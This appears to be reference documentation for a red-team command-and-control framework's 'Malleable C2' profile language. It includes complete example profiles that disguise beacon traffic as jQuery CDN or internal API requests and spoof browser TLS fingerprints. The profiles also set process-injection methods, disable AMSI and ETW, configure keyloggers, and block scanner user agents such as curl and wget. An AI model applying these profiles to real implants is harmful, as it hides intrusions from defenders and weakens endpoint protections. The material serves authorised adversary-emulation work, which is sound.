Skip to content

Malleable C2 Profiles

Malleable C2 profiles customize how beacon HTTP traffic appears on the network. By defining URIs, headers, parameters, body encoding, and response shaping, profiles make C2 traffic blend with legitimate web activity to evade network-based detection.

Profiles are applied to listeners via the profile_name and profile_variant fields.


Profile Syntax

Profiles use a custom configuration language with three statement types:

Statement Syntax Purpose
Set set key "value"; Set a global or block-level option
Block block-name { ... } Define a named block
Variant block-name "variant" { ... } Define a named variant of a block

Comments use # for line comments. String escaping supports \", \\, \n, \t, \r, \x## (hex), and \u#### (unicode).

Minimal Valid Profile

set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/submit";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            header "X-Request-ID";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

Global Options

These options are set at the top level of the profile using set key "value"; statements.

Timing and Behavior

Option Type Default Description
sleeptime int 60000 Beacon callback interval in milliseconds
jitter int 0 Callback jitter percentage (0--100). A jitter of 20 means the actual sleep varies by ±20% of sleeptime.
useragent string Go default HTTP User-Agent header sent by the beacon
sample_name string -- Profile display name
data_jitter int 0 Number of random bytes appended to server responses (0--N). Varies response sizes to evade length-based signatures.
host_stage bool true Whether to host the payload for HTTP staging. Set to false to disable staged payloads.

Task Buffer Limits

Option Type Default Description
tasks_max_size int 1048576 Maximum task buffer size in bytes (1 MB)
tasks_proxy_max_size int 921600 Maximum proxy task buffer for HTTP/SMB/TCP (900 KB)
tasks_dns_proxy_max_size int 71680 Maximum DNS proxy task buffer (70 KB)

Header Control

Option Type Default Description
headers_remove string -- Comma-separated HTTP headers to strip from client requests (e.g., "X-Forwarded-For, Via")

TLS Fingerprinting

Option Type Default Description
tls_fingerprint string -- uTLS ClientHelloID preset for TLS fingerprint spoofing. See TLS Fingerprint Spoofing.

Work Hours (Adaptive Sleep)

Option Type Default Description
work_hours_start int 0 Hour (0--23) when business hours begin
work_hours_end int 0 Hour (0--23) when business hours end
off_hours_sleep_mult float 0 Sleep multiplier during off-hours. 0 disables adaptive sleep. A value of 3.0 triples the sleep interval outside business hours.
work_hours_tz string -- IANA timezone for business hours (e.g., "America/New_York")

HTTP Transaction Blocks

The http-get and http-post blocks define how the beacon communicates with the relay for check-in callbacks and task output submission.

Block Structure

http-get {
    set uri "/path1 /path2";  # Space-separated URIs (random selection)
    set verb "GET";            # Optional, defaults to GET for http-get
    client { ... }
    server { ... }
}

http-post {
    set uri "/api/v1/submit";
    set verb "POST";           # Optional, defaults to POST for http-post
    client { ... }
    server { ... }
}

Client Block

The client block defines how the beacon shapes its outbound HTTP requests.

Element Syntax Used In Description
Header header "Name" "Value"; http-get, http-post Add an HTTP request header
Parameter parameter "Name" "Value"; http-get, http-post Add a URL query parameter
Metadata metadata { ... } http-get only Transform chain for beacon metadata
ID id { ... } http-post only Transform chain for beacon ID
Output output { ... } http-post only Transform chain for task output data

http-get client example:

client {
    header "Accept" "application/json";
    header "Accept-Language" "en-US";

    metadata {
        base64url;
        prepend "session=";
        header "Cookie";
    }
}

http-post client example:

client {
    header "Content-Type" "application/json";

    id {
        base64url;
        header "X-Request-ID";
    }

    output {
        mask;
        base64;
        print;
    }
}

Server Block

The server block defines how the relay shapes its HTTP responses.

Element Syntax Description
Header header "Name" "Value"; Add an HTTP response header
Output output { ... } Transform chain for response data (tasks sent to beacon)

Example:

server {
    header "Content-Type" "application/json";
    header "Cache-Control" "no-cache";

    output {
        mask;
        base64;
        print;
    }
}

Variants

Variants create named versions of http-get or http-post blocks. Select a variant by setting profile_variant on the listener.

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js";
    client {
        header "Accept" "text/javascript";
        metadata {
            base64;
            prepend "return-value=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/javascript";
        output {
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation */\n";
            print;
        }
    }
}

Transform Types

Transforms are the core data manipulation primitives. They are applied in order (encoding direction) or reversed (decoding direction).

Data Transforms

Transform Arguments Description
base64 none Standard Base64 encoding
base64url none URL-safe Base64 encoding (no padding)
netbios none NetBIOS lowercase encoding (each byte becomes two chars)
netbiosu none NetBIOS uppercase encoding
mask none XOR mask with random 4-byte key (key prepended to output)
prepend "string" Prepend a fixed string to the data
append "string" Append a fixed string to the data
strrep "old" "new" Replace string in PE binary (stage transforms only)
strrepex "DLL" "old" "new" Replace string in a specific DLL section (stage transforms only)

Termination Statements

Every transform chain must end with a termination statement that specifies where the transformed data is placed.

Terminator Arguments Description
header "Name"; Header name Store in the specified HTTP header
parameter "Name"; Parameter name Store in a URL query parameter
print; none Store in the HTTP body
uri-append; none Append to the URI path

Annotated Transform Chain

metadata {
    base64;              # 1. Base64-encode the raw metadata bytes
    prepend "session=";  # 2. Prepend "session=" to create a cookie value
    header "Cookie";     # 3. Place the result in the Cookie header
}

Encoding direction (beacon sending): raw bytes → base64 → prepend "session=" → stored in Cookie header.

Decoding direction (relay receiving): extract from Cookie header → remove "session=" prefix → base64 decode → raw bytes.

Another Example

output {
    mask;                # 1. XOR with random 4-byte key (key prepended)
    base64;              # 2. Base64-encode the masked data
    append "<!-- page content -->";  # 3. Append HTML comment
    print;               # 4. Place in HTTP body
}

Other Profile Blocks

http-stager

Customizes the HTTP staging transaction (payload download). Uses the same client { } and server { } structure as http-get.

http-stager {
    set uri_x86 "/api/v1/updates/x86";
    set uri_x64 "/api/v1/updates/x64";
    client {
        header "Accept" "application/octet-stream";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

http-config

Global HTTP configuration applied to all transactions.

http-config {
    set trust_x_forwarded_for "true";
    set block_useragents "curl wget python";
    set allow_useragents "*";
    set headers "Date, Server, Content-Length";
    header "Server" "Microsoft-IIS/10.0";
    header "X-Powered-By" "ASP.NET";
}
Option Description
trust_x_forwarded_for Use X-Forwarded-For for client IP resolution
block_useragents Space-separated User-Agents to reject
allow_useragents Space-separated User-Agents to allow
headers Comma-separated header order for responses

https-certificate

TLS certificate configuration for HTTPS listeners.

https-certificate {
    set C "US";
    set CN "www.example.com";
    set O "Example Corp";
    set OU "IT Department";
    set L "New York";
    set ST "New York";
    set validity "365";
    set keystore "keystore.p12";
    set password "changeit";
}

code-signer

Code signing configuration for payload binaries.

code-signer {
    set keystore "codesign.p12";
    set password "changeit";
    set alias "codesign";
    set digest_algorithm "SHA256";
    set timestamp "true";
    set timestamp_url "http://timestamp.digicert.com";
}

process-inject

Controls how the beacon injects code into remote processes.

process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "16384";
    set startrwx "false";
    set userwx "false";

    transform-x86 {
        prepend "\x90\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90\x90";
    }

    execute {
        CreateThread;
        CreateRemoteThread;
        SetThreadContext;
        RtlCreateUserThread;
        NtQueueApcThread-s;
    }
}
Option Description
allocator Memory allocator: VirtualAllocEx or NtMapViewOfSection
bof_allocator BOF allocator: VirtualAlloc, MapViewOfFile, HeapAlloc
min_alloc Minimum allocation size in bytes
startrwx Start with RWX permissions (true/false)
userwx Use RWX permissions for final memory (true/false)
use_driploading Enable drip-loading during injection

post-ex

Post-exploitation behavior settings.

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
    set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set etw_disable "true";
    set pipename "msagent_##";
    set keylogger "SetWindowsHookEx";
    set cleanup "true";
}
Option Description
spawnto_x86 / spawnto_x64 Sacrifice process for fork-and-run operations
obfuscate Obfuscate strings in memory
smartinject Smart injection (avoid self-injection)
amsi_disable Disable AMSI before post-ex operations
etw_disable Disable ETW before post-ex operations
pipename Named pipe name for post-ex communication
keylogger Keylogger method: SetWindowsHookEx or GetAsyncKeyState
cleanup Clean up post-ex DLLs after execution

stage

Payload stage configuration controlling how the beacon DLL is prepared and loaded.

stage {
    set sleep_mask "true";
    set syscall_method "Indirect";
    set obfuscate "true";
    set cleanup "true";
    set userwx "false";
    set rdll_loader "PrependLoader";
    set stomppe "ntdll.dll";
    set module_x64 "xpsservices.dll";

    transform-x86 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-x64 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-obfuscate {
        rc4 "64";
        base64;
    }
}
Option Description
sleep_mask Encrypt beacon in memory during sleep
syscall_method Syscall method: None, Direct, Indirect
obfuscate Obfuscate the beacon stage
cleanup Clean up staging artifacts
rdll_loader Reflective loader: PrependLoader or StompLoader
module_x86 / module_x64 DLL for module stomping
stomppe PE to stomp for in-memory loading
data_store_size Number of data store entries (default 16)

beacon_gate

Configures which Windows APIs route through BeaconGate indirect syscalls. Nested inside the stage block.

stage {
    beacon_gate {
        set mode "Core";
        # Or add individual APIs:
        # VirtualAlloc;
        # CreateRemoteThread;
    }
}
Mode APIs Included
None No APIs
Core VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ReadProcessMemory, WriteProcessMemory, CloseHandle, DuplicateHandle, MapViewOfFile, UnMapViewOfFile, CreateFileMappingA, GetThreadContext, SetThreadContext, ResumeThread
Comms InternetOpenA, InternetConnectA
Cleanup ExitThread
All Core + Comms + Cleanup

Individual API names can be listed as bare statements to extend the mode selection.

dns-beacon

DNS channel configuration. See the DNS Listeners page for full details.

dns-beacon {
    set dns_idle "0.0.0.0";
    set dns_max_txt "252";
    set dns_sleep "0";
    set dns_ttl "1";
    set beacon "d.example.com";
    set get_A "d1.example.com";
    set get_AAAA "d2.example.com";
    set get_TXT "d3.example.com";
    set put_output "d4.example.com";
}

smb-beacon

SMB named pipe P2P settings. See the SMB Listeners page for operational details.

smb-beacon {
    set pipename "msagent_##";
    set pipename_stager "status_##";
    set smb_frame_header "";
}

tcp-beacon

TCP bind P2P settings.

tcp-beacon {
    set tcp_port "4444";
    set tcp_frame_header "";
}

http-beacon

HTTP library selection and data requirements.

http-beacon {
    set library "wininet";
    set data_required "true";
    set data_required_length "100-200";
}
Option Description
library HTTP library: wininet (default) or winhttp
data_required Send data in all callbacks (padding if no real data)
data_required_length Fixed or range for required data length (e.g., "100", "50-200")

Annotated Profile Examples

Example 1: jQuery CDN Profile

This profile mimics jQuery CDN traffic patterns with appropriate Content-Types, caching headers, and cookie-based metadata delivery.

# jQuery CDN Traffic Profile
# Mimics requests to a jQuery CDN for C2 communication

set sleeptime "30000";
set jitter "25";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
set data_jitter "50";

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js /jquery-3.6.0.slim.min.js /jquery-3.7.1.min.js";

    client {
        header "Accept" "text/javascript, application/javascript, */*";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Referer" "https://code.jquery.com/";

        metadata {
            base64url;
            prepend "__cf_bm=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "public, max-age=31536000";
        header "X-Content-Type-Options" "nosniff";
        header "Access-Control-Allow-Origin" "*";

        output {
            mask;
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";";
            append "\n}(window);";
            print;
        }
    }
}

http-post "jquery" {
    set uri "/jquery-3.6.0.min.map /jquery-3.7.1.min.map";

    client {
        header "Content-Type" "application/json";
        header "Accept" "application/json";

        id {
            base64url;
            parameter "v";
        }

        output {
            mask;
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Cache-Control" "no-store";

        output {
            mask;
            base64;
            prepend "{\"version\":\"3.6.0\",\"sources\":[],\"mappings\":\"";
            append "\"}";
            print;
        }
    }
}

Example 2: Corporate Intranet API Profile

This profile mimics internal REST API traffic with JSON payloads, custom headers, and business-hours awareness.

# Corporate Intranet API Profile
# Mimics traffic to an internal telemetry/status API

set sleeptime "15000";
set jitter "30";
set useragent "TelemetryAgent/2.1 (Windows NT 10.0; Enterprise)";

# Work hours: 8 AM - 6 PM Eastern, triple sleep outside hours
set work_hours_start "8";
set work_hours_end "18";
set off_hours_sleep_mult "3.0";
set work_hours_tz "America/New_York";

# TLS fingerprint matching the User-Agent
set tls_fingerprint "chrome_auto";

http-get {
    set uri "/api/v1/status /api/v1/health /api/v1/config";

    client {
        header "Accept" "application/json";
        header "X-API-Version" "2.1";
        header "X-Client-Platform" "win10-enterprise";

        metadata {
            base64url;
            header "X-Session-Token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "X-Request-Id" "a]b1c2d3-e4f5-6789-abcd-ef0123456789";
        header "Cache-Control" "no-cache, no-store";

        output {
            mask;
            base64;
            prepend "{\"status\":\"ok\",\"timestamp\":\"2026-01-15T10:30:00Z\",\"data\":\"";
            append "\",\"version\":\"2.1.0\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v1/telemetry /api/v1/events";

    client {
        header "Content-Type" "application/json";
        header "X-API-Version" "2.1";

        id {
            base64url;
            header "X-Correlation-ID";
        }

        output {
            mask;
            base64;
            prepend "{\"events\":[{\"type\":\"metric\",\"payload\":\"";
            append "\"}]}";
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            mask;
            base64;
            prepend "{\"accepted\":true,\"id\":\"";
            append "\"}";
            print;
        }
    }
}

# Harden staging
http-stager {
    set uri_x86 "/api/v1/updates/agent-x86";
    set uri_x64 "/api/v1/updates/agent-x64";
    client {
        header "Accept" "application/octet-stream";
        header "X-Update-Channel" "stable";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

# Post-exploitation OPSEC
post-ex {
    set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
    set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set pipename "telemetry_##";
}

Applying Profiles to Listeners

Setting a Profile

When creating or updating a listener, set the profile_name field to load a profile and optionally profile_variant to select a specific variant.

# Create listener with profile
curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS with jQuery Profile",
    "type": "https",
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "port": 443,
    "profile_name": "jquery-cdn",
    "profile_variant": "jquery"
  }'

Updating an Existing Listener's Profile

curl -s -X PUT "https://stentor.app/api/v1/listeners/$LISTENER_ID" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "profile_name": "corporate-api",
    "profile_variant": null
  }'

Setting profile_variant to null uses the default (non-variant) blocks.

Profile Validation

Profiles are parsed at load time. Invalid syntax produces parse errors that are returned in the API response. Test your profiles before deploying to production listeners.


TLS Fingerprint Spoofing

The tls_fingerprint global option configures the beacon to use uTLS to spoof the TLS ClientHello fingerprint, making the TLS handshake appear to come from a specific browser.

Available Presets

Preset Browser
chrome_auto Latest Chrome (auto-updating)
chrome_120 Chrome 120
chrome_131 Chrome 131
chrome_133 Chrome 133
firefox_auto Latest Firefox (auto-updating)

Usage:

set tls_fingerprint "chrome_auto";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

Consistency

Always match the tls_fingerprint to the useragent. A Chrome User-Agent with a Firefox TLS fingerprint is a detection indicator. Use chrome_auto with a Chrome User-Agent or firefox_auto with a Firefox User-Agent.


Profile Block Reference

Quick reference for all supported profile blocks:

Block Purpose Key Options
http-get Beacon check-in callback uri, verb, client {}, server {}
http-post Task output submission uri, verb, client {}, server {}
http-stager Staged payload download uri_x86, uri_x64, client {}, server {}
http-config Global HTTP settings trust_x_forwarded_for, block_useragents, headers
https-certificate TLS certificate fields C, CN, O, OU, validity, keystore
code-signer Code signing config keystore, password, alias, digest_algorithm
process-inject Injection behavior allocator, min_alloc, startrwx, execute {}
post-ex Post-exploitation settings spawnto_*, obfuscate, amsi_disable, pipename
stage Payload stage config sleep_mask, syscall_method, rdll_loader, transform-*
beacon_gate API syscall routing mode (None/Core/Comms/Cleanup/All), individual APIs
dns-beacon DNS channel config dns_idle, dns_max_txt, beacon, get_A, get_TXT
smb-beacon SMB pipe P2P config pipename, pipename_stager, smb_frame_header
tcp-beacon TCP bind P2P config tcp_port, tcp_frame_header
http-beacon HTTP library selection library, data_required, data_required_length